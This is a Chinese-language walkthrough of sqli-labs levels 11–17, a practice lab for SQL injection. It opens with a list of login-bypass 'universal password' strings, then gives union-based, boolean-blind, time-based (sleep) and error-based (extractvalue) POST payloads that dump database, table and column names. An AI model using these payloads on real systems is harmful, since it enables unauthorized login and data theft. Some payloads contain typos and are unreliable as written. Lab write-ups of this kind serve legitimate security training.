关于post传参 我找了一些万能密码:
1:“or “a”=“a
2: ‘)or(‘a’=‘a
3:or 1=1–
4:‘or 1=1–
5:a’or’ 1=1–
6:"or 1=1–
7:‘or’a’=‘a
8:“or”="a’=‘a
9:‘or’’=’
10:‘or’=‘or’
11:1 or ‘1’=‘1’=1
12:1 or ‘1’=‘1’ or 1=1
13: ‘OR 1=1%00
也可以使用以下语句
admin’#
admin’)#
admin”#
admin”)#
admin’or’1’='1#
#等等来构造恒真语句(密码随便输)
先输入万能密码测试:(密码随便输)单引号闭合
Less-11
本章是post的注入 可以通过万能密码注入
发现存在注入漏洞:
Ps:在post参数传递的时候 注释必须使用#其他注释符不生效。
接下来爆数据库 这里用 union 注入进行尝试Username:1admin’union select 1,database()#
passwd=1(任意密码或者不输入)
接下来爆列表 在usename输入框中输入:
’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
爆字段:'union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)#
Less-12:
判断闭合方式 尝试”闭合 显示报错
接下来同第十一关 把’换为”即可通过。
Less-13:
尝试username: admin’) or 1=1 #
Password: (随便输) 得到报错信息
判断为’)闭合
当输入username:admin’ )时
而且登录成功过没有任何回显消息 尝试布尔盲注
Username:admin’)and left(database(),1)=‘s’#&passwd=1&submit=Submit
Password: 随便输 看到
可以看到成功 得到数据库名
Ps:尝试二分法可以极大的提高注入效率
接下来获取表名:
利用 substr() ascii()函数进行尝试
ascii(substr((select table_name information_schema.tables where ables_schema=database()limit 0,1),1,1))=101
根据以上得知数据库名为 security,那我们利用此方式获取 security 数据库下的表
具体我就不在操作了 函数放在这里
Less-14
先判断闭合方式
报错 判断为”闭合
使用布尔盲注:
uname=admin"and left(database(),1)=‘s’#&passwd=1&submit=Submit
Password=1
接下来参考以往的经验便可以得到全部的数据
本关还可以采用报错注入username=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submi t=Submit
Less-15
单引号尝试,发现为单引号闭合,于是直接布尔盲注,注入成功。接下来再尝试报错注入,发现题目没有语法报错,所以报错注入在此题行不通。
Less-16
Username=admin") or 1=1#
Password=1
报错 采用布尔盲注
也可以使用admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
正确的时候可以直接登录,不正确的时候延时 5 秒。
Less-17
将uesrname各种闭合 没一点效果后
想到了密码也可以被闭合 (被惯性思维影响了 着实难受了)
Username=admin or 1=1#
Password=1’
出现报错
先尝试报错类型的注入
Username=admin
Password=11’and extractvalue(1,concat(0x7e,(select @@version),0x7e))#⊂ mit=Submit
将@@version 换成你的子句就可以进行其他的注入了。